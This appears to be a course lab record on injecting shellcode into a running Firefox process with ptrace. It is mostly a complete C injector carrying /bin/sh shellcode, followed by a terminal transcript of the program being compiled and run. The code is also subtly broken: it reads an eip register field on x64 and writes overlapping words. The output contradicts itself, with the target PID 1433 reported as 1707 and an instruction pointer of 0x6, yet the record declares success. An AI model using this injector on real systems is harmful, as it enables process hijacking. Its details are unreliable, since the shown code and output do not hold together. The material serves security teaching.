EXPT NO: 10

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# PERFORM CODE INJECTION

#### AIM:

To do process code injection on Firefox using ptrace system call

## **ALGORITHM:**

- 1. Find out the pid of the running Firefox program.
- 2. Create the code injection file.
- 3. Get the pid of the Firefox from the command line arguments.
- 4. Allocate memory buffers for the shellcode.
- 5. Attach to the victim process with PTRACE\_ATTACH.
- 6. Get the register values of the attached process.
- 7. Use PTRACE\_POKETEXT to insert the shellcode.
- 8. Detach from the victim process using PTRACE\_DETACH

### **PROGRAM CODE:**

## **INJECTOR PROGRAM**

```
# include <stdio.h>//C standard input output
# include <stdlib.h>//C Standard General Utilities Library
# include <string.h>//C string lib header
# include <unistd.h>//standard symbolic constants and types
# include <sys/wait.h>//declarations for waiting
# include <sys/ptrace.h>//gives access to ptrace functionality
# include <sys/user.h>//gives ref to regs
//The shellcode that calls /bin/sh
char shellcode[]={
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97"
"\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
};
```

```
//header for our program.
void header()
{
  printf("----Nemory bytecode injector----\n");
}
//main program notice we take command line options
int main(int argc,char**argv)
{
  int i,size,pid=0;
  struct user_regs_struct reg;//struct that gives access to registers
                    //note that this regs will be in x64 for me
                    //unless your using 32bit then rip,eax,edx etc...
     char*buff;
     header();
     //we get the command line options and assign them appropriately!
   pid=atoi(argv[1]);
  size=sizeof(shellcode);
  //allocate a char size memory
  buff=(char*)malloc(size);
  //fill the buff memory with 0s upto size
  memset(buff,0x0,size);
  //copy shellcode from source to destination
  memcpy(buff,shellcode,sizeof(shellcode));
     //attach process of pid
  ptrace(PTRACE_ATTACH,pid,0,0);
  //wait for child to change state
  wait((int*)0);
     //get process pid registers i.e Copy the process pid's general-purpose
  //or floating-point registers,respectively,
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//to the address reg in the tracer

ptrace(PTRACE_GETREGS,pid,0,&reg);

printf("Writing EIP 0x%x, process %d\n",reg.eip,pid);

//Copy the word data to the address buff in the process's memory

for(i=0;i<size;i++){

ptrace(PTRACE_POKETEXT,pid,reg.eip+i,*(int*)(buff+i));

}

//detach from the process and free buff memory

ptrace(PTRACE_DETACH,pid,0,0);

free(buff);

return 0;
```

## **OUTPUT:**

```
[root@localhost ~]# vi injector.c

[root@localhost ~]# gcc injector.c -o injector

[root@localhost ~]#ps -e|grep firefox

1433? 00:01:23 firefox

[root@localhost ~]#

./injector 1433

----Memory bytecode injector-----

Writing EIP 0x6, process 1707

[root@localhost ~]#
```

## **RESULT:**

The implementation of process code injection on Firefox using ptrace system call is executed successfully.